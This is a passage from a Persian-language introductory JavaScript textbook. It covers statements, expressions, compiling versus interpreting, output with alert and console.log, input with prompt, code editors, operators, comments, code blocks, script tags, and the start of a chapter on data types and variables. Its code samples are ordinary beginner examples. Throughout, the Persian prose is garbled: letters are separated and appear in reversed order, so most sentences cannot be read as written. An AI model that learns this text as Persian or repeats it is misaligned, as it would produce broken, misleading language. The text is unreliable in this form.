ار ب هک تسا ه دش ث عاب .دشاب نا س آ رایسب )ه ما نر ب ( د ک تسا و خ ر د ا ر یصا خ ه فیظو م ا جنا ،)رت ویپماک ( مت سی س ز ا ه ک اه لمع ل ا روت سد ز ا یاه عو مج م هب لی ا ف کی تروص هب ً امو م ع اهدک . د وشیم هتفگ ) Source Code ( دک س رو س ا ی دک هما نر ب ،د ن کیم یس را ف نابز ر ی ظن یع ی ب ط یاهنابز هبا ش م زی ن ی س ی و نه ما نر ب یا هن ابز .د ن وشیم هر ی خذ و هت شو ن ینت م و ت ا روت سد ه ک تسا ه دش ل ی کشت یی اه داد ر ار ق و نی نا وق هعو مج م ز ا ینعی . د نت سه یسی لگنا ا ی .د وشیم هتفگ ) syntax ( و حن ا ی رت ویپماک نابز نآ هب هک د ن کیم ص خ ش م ا ر تس ر د ا ن و تس ر د ترا ب ع ) Statements ( تا روتسد ا ر ی ص خ ش م هفیظو هک اه رگلم ع و دا دع ا ، تا مل ک ز ا یاه عو مج م هب یس ی و نه ما نر ب یاهنابز ر د ری ز لک ش هب ت پ یرکساو اج نابز ر د ت ا روت سد ز ا ی لاثم . د وشیم هتفگ روتسد کی د ن ه دی م م ا جنا :تسا a = b + 10; لم ع رید ا ق م ی ار ب ی اه د ن ر ا د هگن د نن ام هک د وشیم هتفگ ) variable ( ری غت م b و a یاه رت ک ا راک هب ر د اه ر یغتم اب ه ط ب ا ر ر د . د نر ی گ ب ر ار ق هد افت سا د روم ،هما نر ب ی ار ج ا ل وط ر د تسا ر ار ق و د نن کیم ه دیما ن ) value ( رادق م لا اب ل اثم ر د 10 د دع .دش ده ا و خ هداد ل ماک تا ح یضوت د ع ب یاه ش خب م ا جنا اه رگلم ع هفیظو ،د ن وشیم هت خ ا ن ش رگلم ع ن ا و ن ع هب + و = یاه رت ک ا راک نی نچم ه . د وشیم نیا قیر ط ز ا ب است نا ا ی ی ضا ی ر تای لم ع ل اثم ن ا و ن ع هب ، تسا اه ر یغتم و رید ا ق م یور ر ب تای لم ع .د وشیم م ا جنا اه رگلم ع .د نس ریم نا ی ا پ ه ب ) ; ( ل وگ ریو هطقن اب ا هتنا ر د ،ت پ یرکساو اج ر د ت ا را ب ع رتش یب ه دش هر ی خذ ر ا د ق م :هک د وب ده ا و خ هن و گنیا م ی ن ک نایب ی س را ف نابز هب ا ر لا اب ل اثم ی نع م م یه ا وخب ر گ ا .نک هر ی خذ a ر یغتم ر د ا ر عم ج ل صاح و نک عم ج 10 د دع اب ا ر b ر یغتم ر د ا ر یصا خ ف ده رگی د کی اب ط ا بت ر ا ر د ه ک تسا ت ا روت سد ز ا یاه عو مج م ی رت ویپماک هما نر ب ر ه ع ق او ر د .د نت سه د و خ رظن د روم ه ج یت ن ن در ک هد روآ ر ب ل ا بند ه ب و د نن کیم ل ا بند ","22 یا ه یا پ ثح ا بم و ییا نشآ [ ) Expressions( تار ابع ر ه . تفر گ ر ار ق ی س ر ر ب د روم لب ق ش خب ر د ه ک د نت سه ت ا روت سد ه د ن ه د ل ی کشت یاز ج ا ت ا را ب ع اه رگلم ع ا ی و رید ا ق م ،اه ر یغتم ز ا یب یک رت ر ه هب . تسا ترا ب ع ن ی د ن چ ا ی کی ز ا یاه عو مج م روت سد :دی ن ک ه دها ش م ً اد د ج م ا ر لب ق ش خب ل اثم . د وشیم هتفگ ترا ب ع کی a = b + 10 ; :تسا ری ز ترا ب ع را ه چ ل ماش روت سد نیا .تسا هد ا س د دع کی و د وشیم ه دیما ن ی ر ا د ق م ترا ب ع هک 10 ر ا د ق م ر د ه دش هر ی خذ ر ا د ق م ن در ک یبا ی زاب ی نع م هب و د وشیم ه دیما ن یر یغتم ترا ب ع هک b ر یغتم .تسا b ر یغتم .ده دی م م ا جنا ا ر یضا ی ر عم ج تای لم ع و تسا ی ضا ی ر ترا ب ع هک b + 10 ب یک رت ز ا ل صاح ه ج یت ن ب است نا ینع م هب و د وشیم ه دیما ن ی باست نا ترا ب ع هک a = b + 10 ب یک رت .تسا a ر یغتم هب عم ج [ همانر ب یا رج ا یار ب ت ا را ب ع و ت ا روت سد نیا ام ا دش ثح ب ت ا را ب ع و ت ا روت سد اب ه ط ب ا ر ر د لب ق یاه ش خب ر د زای ن د ن ک ل ا م ع ا و هدر ک ک ر د ا ر ت ا روت سد نیا رت ویپماک هک ن یا یار ب و د نت سه مهف و ک ر د ل باق ناس نا نیشام ی ار ب هک یروط هب اهترا ب ع و ت ا روت سد ر د ت ار ییغت م ا جنا .د ر اد د وجو اهنآ ر د یتار ییغت هب .) interpreter ( ر یغتم و ) compile ( لی اپماک : د وشیم م ا جنا قیر ط و د ز ا دشاب مهف ل باق )رت ویپماک ( یار ج ا راب ر ه اب ،نی ی ا پ ه ب لا اب ز ا و طخ ه ب طخ ت ا روت سد هم ج رت ی س ی و نه ما نر ب یاهنابز ی خر ب ر د یس ی و نه ما نر ب یاه نابز ز ا رگید یخر ب ر د .د وشیم هتفگ دک ر یس فت نآ هب هک د وشیم م ا جنا ه ما نر ب .دش د ن ه ا و خ ار ج ا یلب ق ه دش لی اپماک ت ا روت سد ه ما نر ب ی ار ج ا م ا گن ه ر د و ه دش لی اپماک لب ق ز ا دک راب ر ه ر د ت پ یرکساو اج یاهدک هک ار چ ، تسا یر یسفت ع و ن ز ا ت پ یرکساو اج یس ی و نه ما نر ب نابز تق ی ق ح ر د ه ک ل یل د نیا ه ب ، ت سی ن ق یق د لا ماک ع وضوم ن یا هتب ل ا . د ن وشیم ش ز ادرپ ه ما نر ب ی ار ج ا ه دش لی اپماک یاهدک ی ار ج ا ه ب ما دق ا هل صا فلا ب و هدر ک لی اپماک ا ر هما نر ب ا دتب ا ت پ یرکساو اج روتوم .د ن کیم ","23 لوا شخ ب [ همانر ب ی جورخ یار ب یر ا د ق م و یجو رخ نت ش اد ،د وشیم هتشو ن فلت خم یاهنابز ب لاق ر د ه ک ی ی اههما نر ب ر ثک ا یار ب ت پ یرکساو اج ر د ی جو رخ شی ا من ی اهرا ک ه ا ر ن یرتهد ا س ز ا یکی . دشابیم ی هی دب ی اهل ئسم شی ا من ش خب ا جنیا ر د( ی جو رخ ر د زتنارپ لخاد رید ا ق م شی ا من ته ج روت سد نیا . دشابیم console.log alert)( روت سد ر براک هب یجو رخ شی ا من یار ب رگید شو ر . در یگیم ر ار ق هد افت سا د روم )ر گرو ر م ل وس ن ک :تسا ه دش هد افت سا b ر یغتم ی ا وت ح م شی ا من یار ب ری ز ل اثم ر د ه ک تسا var b = ‘Ok’; alert( b ); شی ا من OK هم ک د اب پ آ پ ا پ کی ه ک در ک دیه ا و خ ه دها ش م دی ن ک ار ج ا ا ر ق و ف روت سد ه ک یتروص ر د ه دها ش م ی ار ب ی رگید نوگا ن وگ یاه شو ر هت ب ل ا . ده دی م نا شن ا ر b ر یغتم ی ا وت ح م و ه دش هداد .م یه دی م ح یضوت ارصت خم هم ادا ر د ه ک د ر اد د وجو هما نر ب ر د هداد ی جو رخ ته ج ر گرو ر م ر د ه ک ل وس ن ک ش خب ز ا دی نا وتیم د و خ یت پ یرکساو اج یاهدک ی س ر ر ب و ت ست ی ار ب دک ک و ل ب ر ه را ن ک ر د ه دش هی بعت QR دک ن کسا اب ا ی و د یرب ب هره ب ه دش هی بعت ناس ی و نه ما نر ب هد افت سا .دی ن ک هد افت سا و 2 ه دش د ر او کت و ی رام تی اسبو ر د ،ب اتک یاهدک ت ست ی ار ب ه دش د ا جیا س ر د آ هب ا ی F12 ربن ایم دی ل ک اب ( ا ر DevTools هب ط وب ر م ش خب و هدر ک ار ج ا ا ر د و خ ر گرو ر م ، ت سخ ن شو ر ی ار ب نآ ر د ا ر د و خ ی اهدک و هدر ک زاب )د و خ ر گرو ر م اب بس ا نت م ی رگید یب یک رت دی ل ک ر ه ا ی Ctrl+Shift+I :دی ن ک ت ق د ری ز ری و صت ه ب .دی ن ک ار ج ا و هت شو ن تم سق روت سد نیا یار ج ا اب و تسا ه دش هتشو ن ر گرو ر م ل وس ن ک ش خب ر د alert)'aaa'( روت سد ری ز ری و صت ر د .داد ده ا و خ شی ا من ا ر ری ز روت سد ی جو رخ و ه دش ر هاظ ه ح فص ر د یپ آ پ ا پ 2 http://mariotek.ir/console ","24 یا ه یا پ ثح ا بم و ییا نشآ [ همانر ب ی دورو یدو رو تف ا ی ر د یار ب جیا ر رایسب شو ر . تسا ر براک ز ا تاع لا ط ا تف ا ی ر د ،ه ما نر ب ی دو رو ز ا رو ظن م تا ح فص ر د ل و مع م روط هب و د نت سه ی دو رو یاهد ل ی ف یا ر اد ه ک تسا یی اه مرف ز ا هد افت سا ر براک ز ا را ک ب نآ و م ی ن کیم هد افت سا یرتهد ا س شو ر ز ا راک عور ش ی ار ب و ا جنیا ر د ی لو د ن وشیم هد افت سا بو :تسا prompt)..( ع بات نت فر گ var number = prompt( “Enter a number: “ ); console .log(number); رظن د روم ر ا د ق م ن در ک د ر او ته ج ید ل ی ف و ه دش هداد شی ا من پ آ پ ا پ کی ق و ف دک ه عط ق ی ار ج ا اب ر د ی جو رخ ندش پ اچ ث عاب مود روت سد ،ر براک طس وت ر ا د ق م ن در ک د ر او ز ا د ع ب . د وشیم د ا جیا .دش ده ا و خ ل وس ن ک ط ی ح م [ ) Editors( دک ی اهرگ ش ی ا ریو .د نن کیم ی ر پ س ا جن آ ر د ا ر د و خ نامز بلغا ، ناس ی و نه ما نر ب هک تسا یط ی ح م ،دک رگشیاریو هچراپ کی هعس وت ط ی ح م : د وش یم م یس قت یل ک هت سد ود ه ب و ه دش هد افت سا ی س ی و ن دک ی ار ب ر از ب ا نیا .اهروت یدا ا ی هد ا س ی اه رگشیاریو و ) IDE 3 ( و هد وب فلت خم یاهر از ب ا یا ر اد ه ک د نت سه ید نمت ردق یاه رگشیاریو :ه چراپ کی ه عسوت ی اهط یحم یا هلی ا ف ن یب ن ا وت یم اهنآ ز ا هد افت سا اب .د نت سه بس ا ن م رایسب ل ماک هژورپ کی ر د هد افت سا یار ب هد افت سا ی س ی و نه ما نر ب نابز هب هجوت اب دک راک د و خ ل ی مکت ی اهیگژ یو ز ا ، دش ا ج باج یتح ا ر هب هژورپ هخس ن لرتن ک د نن ام فلت خم یاه ک ر از ب ا و اهر از ب ا ز ا و د و من ت ست و ) ا طخ عف ر (گ ا بید ا ر دک ، در ک :تسا ری ز حر ش هب اه IDE نیرتفورع م ز ا یدا د عت .در ب هره ب اهنآ ر د ) Git ( ت یگ ل ثم ) VCS ( ر براک تمس هعس وت ی ار ب هک WebStrom ر ازفامرن د نن ام Jetbrains م یت یاهر ازفامرن ه عو مج م .در یگیم ر ار ق هد افت سا د روم ) Front-End ( Visual Studio Code ر ازفامرن Netbeans ر ازفامرن 3 Integrated Development Environment ","25 لوا شخ ب هعس وت یاه ط ی ح م .د نت سه هد افت سا ل باق د وجوم یاه ل ماع مت سی س ر ثک ا ر د ه دش هدر ب م ا ن ی اهر از ب ا هجوت اب هک د ر اد د وجو ه زوح ن یا ر د ی عو نت م رایسب یاهر از ب ا و ت سی ن ق و ف ت سیل هب دو د ح م ر ازفامرن .دی ن ک باخت نا د و خ هد افت سا یار ب ا ر ه نیز گ ن یرته ب ،زای ن و ه ق لا ع هب هجوت ل باق ت ع رس و یکبس ه ب هجوت اب یلو د نت سی ن د نمت ردق اه IDE ه ز ا د نا ه ب :کبس ی اهروت یدا ز ا IDE را ن ک ر د ناس ی و نه ما نر ب لا و مع م .د نر یگیم ر ار ق هد افت سا د روم اهدک عیرس شیاریو یار ب ،اهنآ هد افت سا عیرس ی اه شیاریو و د و خ هنا زور ا ضع ب و هد ا س ،ک چوک یاهراک م ا جنا یار ب م ه روت یدا کی ر د ا ر اهنآ ن ا وتیم ، د وشیم ه ئا ر ا اهروت یدا یار ب هک یف لت خم یاهنیگ لاپ ه ب هجوت اب ه زو ر م ا . د نن کیم کی و روت یدا کی ن یب ی ق یق د ی د ن بز ر م ن ا وتی من و تخ ا س د نمت ردق هچراپ کی هعس وت ط ی ح م کی دح :میر بیم م ا ن ا ر د وجوم یاهروت یدا نیرتفورع م ز ا یدا د عت ری ز ر د .تفر گ رظن ر د IDE Sublime Text روت یدا Atom روت یدا Notepad ++ روت یدا Emacs و Vim یاهروت یدا [ ) Operators ( اهرگل مع هم ادا ر د . د نت سه رید ا ق م و اه ر یغتم یور ر ب ت ار ییغت ل ا م ع ا و د ا جیا یار ب ی ی اهر از ب ا اه رگلم ع :م ی ن کیم ی فرع م ا ر ت پ یرکساو اج نابز یاهروت ارپا ا ی اه رگلم ع ن یرتجیا ر ز ا یدا د عت a = 1 ل اثم ن ا و ن ع هب = باست نا رگلم ع a + 1 د نن ام / م یس قت و * بر ض ، -قیر فت ، + عم ج یضا ی ر یاه رگلم ع د نت سه یضا ی ر و باست نا رگلم ع ز ا یب یک رت ه ک /= و += ، -= ، *= یب یک رت ب است نا ی اه رگلم ع .تسا a = a + 1 اب لد ا ع م هک a += 1 د نن ام .تسا a = a + 1 اب لد ا ع م هک a++ د نن ام --ش هاک و ++ شیازفا ی اه رگلم ع console.log)( د نن ام object یگژ یو ه ب ی سرتسد رگلم ع ده ا و خ تبح ص ل ی ص فت هب نآ یاهیگژ یو و object اب ه ط ب ا ر ر د ی د ع ب یاه ش خب و هم ادا ر د .دش ن ا و ن ع هب == !یوق ی ر ب ار با ن و = !ف ی ع ض ی ر ب ار با ن ، === یوق ی ر ب ار ب ، == ف ی ع ض ی ر ب ار ب رگلم ع .دش ده ا و خ هداد ح یضوت د روم ن یا ر د هداد عا و نا و رید ا ق م ش خب ر د ه ک a == b ل اثم هب >= یواسم ا ی رت گرزب ، <= یواسم ا ی رتک چوک ، > رتک چوک ، < رت گرزب ی اه س ی ا ق م یاه رگلم ع ","26 یا ه یا پ ثح ا بم و ییا نشآ a <= b ل اثم ن ا و ن ع ر ه هک تسا ینع م ن یا ه ب a && b ل اثم ن ا و ن ع هب . || یش خب و && یف ط ع ی قطن م یاه رگلم ع .د ن شاب هتش اد true ر ا د ق م و د ر ه b و a ر یغتم و د [ ) Comment ( تنما ک ز ا ف ده هک تسا نیا داد ر ار ق رظن دم د ی اب یس ی و نه ما نر ب م ا گن ه ر د ه ک ی مه م رایسب بلط م یاهدک هک تسا ینع م ن یا ه ب ه کل ب ت سی ن رت ویپماک ی ار ب نآ ن د وب مهف ل باق طقف ، دک نتشو ن ،هما نر ب ه عس وت م ا گن ه ر د و هت ش اد ند نا و خ ت ی ل باق م ه رگید ناس ی و نه ما نر ب ی ار ب د ی اب ه دش هتشو ن تی اعر رو ظن م ن یا یار ب هک ی ی اهراک ز ا یکی . دشاب ص خ ش م و ح ض او لا ماک نآ ز ا ش خب ر ه در براک .تس اه ر یغتم م و ه فم و ح ی ح ص یر ا ذگ م ا ن ،د وشیم طخ ر ه هب تا ح یضوت ن دوزفا نآ ه عس وت ت ی ل باق ءا قت ر ا و ه ما نر ب ی ی ا نا و خ شیازفا ته ج ر از ب ا نیرتمه م .د وشیم هتفگ ی راذگ تن م اک یس ی و نه ما نر ب حلاط ص ا ر د راک ن یا ه ب . تسا ه ما نر ب ز ا ها وخل د ش خب ا ی ل یل د ن ی م ه هب و د ن وشیم هت فر گ ه د ید ا ن ش ز ادرپ م ا گن ه هب هک د نت سه هما نر ب ز ا ی طو طخ اه تن ماک هد افت سا ته ج ً ا فر ص اه تن ماک .د ن وش ی من لی د بت دشاب مهف ل باق رت ویپماک ی ار ب هک 1 و 0 رید ا ق م هب .تسا ش زر ا دقا ف ن یشام ی ار ب و د نر یگیم ر ار ق هد افت سا د روم ) دک ناگد ن ه د هعس وت ( ناس ی و نه ما نر ب [ یراذگ تنما ک دعاوق طلغ ا ی ح ی ح ص رگن ایب هک د ر ا د ن د وجو یصا خ نو ن اق و ه دعاق چ یه ح ی ح ص یر ا ذگ تن ماک ی ار ب :تفر گ رظن ر د ا ر ری ز د ر ا وم یر ا ذگ تن ماک م ا گن ه هب د ی اب یلو دشاب تن ماک کی ن د وب 1 . .دشاب هما نر ب ت یفیک ش هاک ث عاب د نا وتیم تن ماک نودب دک 2 . ز ا ک چوک ی ل ی خ ی اه ش خب ی ا ز ا ه ب تن ماک ج ر د ل اثم ی ار ب ( دح ز ا ش یب یر ا ذگ تن ماک درکلم ع د نا وتی من ه ک تسا ه دش هتشو ن ی اهدک ن د وب ف ی ع ض ه د ن ه د نا شن لا ا مت ح ا ) دک .د ن ک نایب ا ر د و خ :تسا ه دش فیرعت ی ر ا ذگ تن ماک ز ا ع و ن ود ت پ یرکساو اج نابز ر د ","27 لوا شخ ب // Single-line comment /* Multi line comment */ یط خ ک ت یراذگت ن ماک تن ماک ن ا و ن ع هب د ی ایب // ز ا د ع ب هک یزیچ ر ه . م ی ن کیم هد افت سا // ز ا یطخ کت تن ماک نتشو ن یار ب یرت ک ا راک ر ه ی طخ کت تن ماک ر د . دش ده ا و خ هتفر گ ه د ید ا ن ش ز ادرپ م ا گن ه هب و ه دش هت فر گ رظن ر د ً ا فر ص یر ا ذگ تن ماک ع و ن نیا ن ی نچم ه . د ر ا د ن د وجو یت یدو د ح م و در ی گ ب ر ار ق هد افت سا د روم د نا وتیم .د وش هد افت سا نآ یا هتنا ر د ا ی دک ز ا لب ق د نا وتیم var a = 1 ; // Declare a, give it the value of 1 یط خ دن چ یراذگت ن ماک یع ق ا وم ی ار ب یر ا ذگ تن ماک ع و ن نیا .د وشیم هد افت سا /*.. */ ز ا یطخ د ن چ یر ا ذگ تن ماک ر د ر د .در یگیم ر ار ق هد افت سا د روم دشاب هتش اد د وجو طخ کی ز ا رتش یب یتا ح یضوت هب زای ن ه ک ش ز ادرپ م ا گن ه هب هک ار چ ، در ک هد افت سا نآ ه ن ایم ر د */ ب یک رت ز ا ن ا وتی من یطخ د ن چ یر ا ذگ تن ماک یر ا ذگ تن ماک ع و ن نیا ز ا .در ک ده ا و خ ا طخ د ا جیا و ه دش هت فر گ رظن ر د ی ر ا ذگ تن ماک یا هتنا ن ا و ن ع هب ه دها ش م هم ادا ر د ا ر رتش یب یاه ل اثم . در ک هد افت سا ز ی ن ه ما نر ب ز ا دک طخ کی هن ایم ر د یت ح ن ا وتیم :دی ن کیم /* Declare a, give it the value of 1 Declare a, give it the value of 1 */ var a = 1 ; var b = 2 ; var a = /* Declare a, give it the value of 1 */ 1 ; یر ا ذگ تن ماک د وشیم هد روآ ت پ یرکساو اج یاهدک ز ا یی اه ل اثم هک ش خب ر ه ی ار ب باتک ن یا ه م ادا ر د ز ا هد افت سا . ده د هئا ر ا ه دش هتشو ن دک ه عط ق د روم ر د ا ر ی رتش یب تا ح یضوت ات در یگیم تروص زی ن ا ر نآ ن ا وتی من و د وشیم بوس ح م ی ن ابز ر ه اب یس ی و نه ما نر ب ری ذ پ ا ن ییا دج ش خب یر ا ذگ تن ماک .تفر گ ه د ید ا ن ","28 یا ه یا پ ثح ا بم و ییا نشآ [ ) Blocks ( دک ت ا عطق ای اه کو ل ب ر ار ق هت سد ا ی هور گ کی ر د ت ا روت سد ز ا یرس کی ه ک تسا زای ن ی هاگ یس ی و نه ما نر ب م ا گن ه هب ک و ل ب ت پ یرکساو اج ر د .د وشیم هتفگ دک ک و ل ب کی ت ا روت سد ز ا هور گ ن یا ه ب ً اح لاط ص ا ه ک د نر یگ .د ن وشیم ص خ ش م {.. } هتسب و زاب دلا وکآ ت فج قیر ط ز ا اهدک یط ر ش ت ا را ب ع اب هارم ه ً لا و مع م یلو د ن ر اد هد افت سا ت ی ل باق زی ن ی مو م ع تروص هب اه ک و ل ب هک د ن چ ر ه ا ر یرایسب یاه ل اثم باتک هم ادا ر د ه طوب ر م یاه ش خب ر د و د نو ریم راک هب اهه قل ح نی نچم ه و :د نت سه دک یاه ک و ل ب ی ا ر اد ه ک در ک دیه ا و خ ه دها ش م if (a > 1 ) { b = b + 1 ; console .log(b); } نیا .تسا هتف ر راک هب if یط ر ش ترا ب ع اب هارم ه هک دی ن کیم ه دها ش م ا ر یدک ک و ل ب ق و ف ل اثم ر د یط ر ش ت ا را ب ع د روم ر د رتش یب تا ح یضوت و تسا دک ک و ل ب م و ه فم اب ا م ش ی ی ا ن شآ ته ج ً ا فر ص ل اثم .تخ ومآ دیه ا و خ ه م ادا ر د ا ر د ر ا وم ری ا س و بو ت ا ح فص رد ت پیرک سا و اج یا هد ک ی ری گرا رق ر ار ق و > script < ی اه گت ن یب ر د د ی اب ت پ یرکساو اج یاهدک ، HTML تا ح فص ر د :ل اثم ن ا و ن ع هب .د نر یگ ق و ف ل اثم د نن ا م ه ت پ یرکسا ی اه گت ز ا ن ا وتیم د وب زای ن ه ک دا د عت ر ه هب HTML هح فص کی ر د ته ج ن یا ز ا و داد ر ار ق > body < ا ی > head < ش خب ر د ا ر اه گت نیا ن ا وتیم نی نچم ه . در ک هد افت سا ن داد ر ار ق اب هک تسا ...و src , type , defer د نن ام ی ی اهیگژ یو یا ر اد گت نیا .د ر ا د ن د وجو یتوافت ","29 لوا شخ ب هک م یه د تب س ن src ر د ه دش ه راش ا ت پ یرکساو اج لی ا ف ه ب ا ر یصا خ ی اهیگژ یو م ی نا وتیم اهنآ .د جن گی من یلعف ب اتک بوچراچ ر د اهنآ ی س ر ر ب یاهدک هک تسا نیا بو تا ح فص ر د ت پ یرکساو اج یاهدک ن داد ر ار ق ی ار ب ه دش هداد ح یج رت ی شور ن ا وتیم ری ز روت سد قیر ط ز ا س پ س و د ن وش هتشو ن . js د ن وس پ اب لقت سم لی ا ف کی ر د ت پ یرکساو اج :دی ن ا جن گ بو ه ح فص ر د ا ر رظن د روم ت پ یرکساو اج لی ا ف ار چ . در ک هد افت سا > script < گت ز ا د ی ا بن ت پ یرکساو اج لقت سم یاه لی ا ف لخاد ر د ه ک دی ن ک ت ق د HTML نابز ر د script گت و د نت سه ت پ یرکساو اج ، لقت سم تروص هب ه دش د ا جیا ی اه لی ا ف ه ک :تسا ری ز یاه تیز م ی ا ر اد ،ت پ یرکساو اج )ی جرا خ( لقت سم یاه لی ا ف ز ا هد افت سا .د ر اد ینع م .د ن وشیم ا دج HTML یاهدک ز ا ت پ یرکساو اج یاهدک .د وشیم رت نا س آ و هت ف ا ی د و به ب ت پ یرکساو اج یاهدک یر ا د هگن ن ی نچم ه و ی ی ا نا و خ یر ا ذگراب ت ع رس شیازفا ث عاب و ه دش ش ک ر گرو ر م طس وت ت پ یرکساو اج لقت سم یاه لی ا ف .دش ده ا و خ بو تا ح فص دوری م ر ا ظتنا شخب نیا ه ع لا ط م زا س پ د ی وش ا ن شآ دک و هما نر ب م و ه فم اب هما نر ب کی یل ک رات خ ا س و هتخ ومآ ا ر ی ب لا ط م ت پ یرکساو اج ت ا را ب ع و ت ا روت سد د روم ر د .دی س ا نش ب ا ر ی رت ویپماک .دی ن ک ا دی پ ی هاگآ نآ یاهیجو رخ و اهی دو رو اب ه ط ب ا ر ر د و هتخ ومآ ا ر هما نر ب ی ار ج ا ه و حن زای ن و ه ق لا ع اب بس ا نت م یس ی و نه ما نر ب ط ی ح م دی نا وتب و ه دش ا ن شآ دک یاه رگشیاریو م و ه فم اب .دی ن ک باخت نا ا ر د و خ .دی ن ک ک ر د ا ر ه دش هتشو ن ی اههما نر ب ر د اهنآ در براک و اه رگلم ع فیرعت .دی مه فب ا ر یط ر ش ت ا را ب ع اب اهنآ ط ا بت ر ا و د ی وش ا ن شآ دک تا عط ق و اه ک و ل ب اب یاهدک دی نا وتب و دیشاب هت خ ومآ ا ر بو تا ح فص ر د ت پ یرکساو اج یاهدک ز ا هد افت سا ه و حن .دی ن ک م ا غدا بو تا ح فص اب ا ر د و خ ت پ یرکساو اج ","","مود شخب هد ا د ع اونا و ریداقم ∞ :شخب فادها یبی کر ت و ه یل و ا هداد عاو ن ا اب ییانشآ نآ ی ا هش و ر و رگیدکی هب هداد ی ا هعو ن تلا ید بت اب ییانشآ ع ب اوت و ا ه هی ار آ دننام هی و ناث هداد عاو ن ا ن یر تد رب ر اکر پ یف رعم ه دنناش وپ object موه فم اب ییانشآ ه طو برم ی ا ه رگل م ع و ریدا ق م ه س یا ق م هو حن اب ییانشآ نآ هب هت س ب ا و میه افم و ا ه ر ی غتم اب ییانشآ ","[ ه د ا د ع اونا .د وشیم هتفگ ) Types ( هداد عا و نا ی س ی و نه ما نر ب حلاط ص ا ر د رید ا ق م فلت خم یاه شی ا من ه ب فیرعت اهنآ ر د ه یلو ا تروص هب هک د ن ر اد د وجو ی اهداد ی اه ع و ن فلت خم یس ی و نه ما نر ب یاهنابز ر د :تسا ری ز حر ش هب ) Primitive ( ه یلو ا هداد عا و نا یا ر اد ت پ یرکساو اج نابز ل اثم ن ا و ن ع هب .د ناه دش یضا ی ر تای لم ع و دا دع ا یار ب number هداد ع و ن ت لام ج و تا مل ک ،اه رت ک ا راک یر ا د هگن ا ی شی ا من یار ب string هداد ع و ن اه ی ر یگ م ی مصت یار ب false و true ر ا د ق م و د ل ماش boolean هداد ع و ن دش ده ا و خ هد ز ی ی اه ل اثم ما دک ر ه ز ا ه م ادا ر د ه ک null، undefined، object هداد ع و ن هلم ج نآ ز ا ه ک د ناه دش ی فرع م ت پ یرکساو اج 6 ه خس ن ز ا ه ک د ن ر اد د وجو زی ن یاهداد عا و نا ن ی نچم ه .در ک ه راش ا symbol هداد ع و ن ه ب ن ا وتیم هب ا ی ECMAScript6 م ا ن اب دمآ ن ا دیم هب ت ی م ه ا زئ اح ت ار ییغت اب هک ت پ یرکساو اج 6 ه خس ن ر د ه دش فیرعت د ی دج هداد عا و نا و اهیگژ یو ز ا هد افت سا نامز ر د و د وشیم هت خ ا ن ش ES6 را صتخا ح ی ح ص اهدک درکلم ع ات د وش هد افت سا ه دش ی ن ا س ر زو ر ب یاه ر گرو ر م ز ا ا مت ح هک د وش ت ق د د ی اب نآ ر د یل ک لک ش هب ت پ یرکس ا م ک ا هع ماج و ت پ یرکساو اج د ی دج یاههخس ن ه ب هطوب ر م ث حا ب م .دشاب .دش ده ا و خ هداد ش شو پ ی د ع ب ل و صف [ )Variables ( اهر ی غتم د روم هما نر ب ر د ه ک یف لت خم رید ا ق م یور ر ب راک و یر ا د هگن یار ب ،یس ی و نه ما نر ب م ا گن ه ر د هک د نر یگیم ر ار ق هد افت سا د روم و ورزر هما نر ب طس وت ه ظف اح ز ا یی اه لح م د نر یگیم ر ار ق هد افت سا یر ا د هگن ی ا ضف اه ر یغتم . د وشیم هد افت سا ) variable ( ر یغتم م ا ن ه ب یمو ه فم ز ا ر م ا نیا یار ب یا ضف ر د ا ر ی رید ا ق م هما نر ب ی ار ج ا م ا گن ه ر د ه ک د نت سه ص خ ش م یاه م ا ن اب ی ی اه ه د ن ر ا د هگن و تل ع و د نن ک ر ییغت ار ج ا ل وط ر د تسا نکم م رید ا ق م ن یا ، د نن کیم یر ا د هگن د و خ ه ب ط وب ر م ه ظف اح .تسا تل ع نی م ه هب زی ن ر یغتم ن ا و ن ع تحت اهنآ یر ا ذگ م ا ن د و خ ر د تسا ر ار ق هک ی اهداد ع و ن د ی اب ، ر یغتم کی فیرعت م ا گن ه هب یس ی و نه ما نر ب یاهنابز ی خر ب ر د هر ی خذ ر یغتم ن یا ر د ا ر رگید یاهداد ن ا وتی من ه ما نر ب هم ادا ر د و م ی ن ک ص خ ش م زی ن ا ر د ن ک هر ی خذ هتفگ ) Typing Static ( اتس یا هداد ع و ن اب یاهنابز ً اح لاط ص ا ی س ی و نه ما نر ب یاهنابز نی ن چ هب . در ک 32 هداد عاونا و ر ی د ا قم ","هداد عا و نا ت لای د بت و ع و ن ر ییغت هب ط وب ر م یاها طخ ه ک تسا نیا اهنابز ز ا ع و ن نیا تیز م . د وشیم .دش ده ا وخ ن ه ج ا وم لکش م اب هما نر ب ، ار ج ا نامز ر د و د وشیم ص خ ش م دک ندش لی اپماک م ا گن ه ر د var amount = 2000 ; amount = amount * 2 ; console .log( amount ); // 4000 // convert `amount` to a string, and add ‘Toman’ to the end amount = String ( amount ) + “ Toman” ; console .log( amount ); // “4000 Toman” د دع و هدر ک ر ییغت نآ ر ا د ق م س پ س و تسا 2000 ر ا د ق م ل ماش amount ر یغتم ا دتب ا ق و ف ل اثم ر د ع و ن ز ا ینم ض هداد ع و ن لی د بت console.log هب ط وب ر م روت سد ن یلو ا ر د .د وشیم ن یزگی اج 4000 ترا ب ع شی ا من یار ب د ع ب روت سد ر د و د وش هداد شی ا من ی جو رخ ات د وشیم م ا جنا یاهت شر هب ی د دع String دتم قیر ط ز ا amount ر یغتم ی ار ب حیر ص هداد ع و ن لی د بت ید دع ر ا د ق م را ن ک ر د Toman .تفر گ ده ا وخ ن تروص ی اهداد لی د بت چ یه console.log ز ا مود روت سد ر د نیار با ن ب و د وشیم م ا جنا نیب ر د و هدر ک ر ییغت ه بتر م ه س amount ر یغتم ر ا د ق م ق و ف ل اثم ر د دی ن کیم ه دها ش م هک رو طن ا م ه ت پ یرکساو اج نابز ر د ا ی و پ هداد ع و ن ت یصا خ ل یل د ه ب ع وضوم ن یا ه ک ه دش م ا جنا م ه ع و ن لی د بت نآ ر ییغت م ا گن ه ر د د ی اب و ت سی ن زا ج م ی ی اهباست نا ن ی ن چ اتس یا هداد ع و ن یا ر اد ی اهنابز ر د .تسا .د وش فیرعت ی د ی دج ر یغتم هداد ع و ن ا ر یر ا د ق م amount ر یغتم هک تسا ع وضوم ن یا دش هجوتم ق و ف ل اثم ز ا ن ا وتیم هک ی رگید د روم هفس لف نا م ه ع وضوم ن یا و تسا ر ییغت ل اح ر د ه ما نر ب ی ار ج ا ل وط یما مت ر د ه ک د ن کیم یر ا د هگن .هما نر ب ) state ( ت لاح تیری دم ی نعی ،تسا ر یغتم م و ه فم یا دتب ا ر د بلغا ه ک تسا 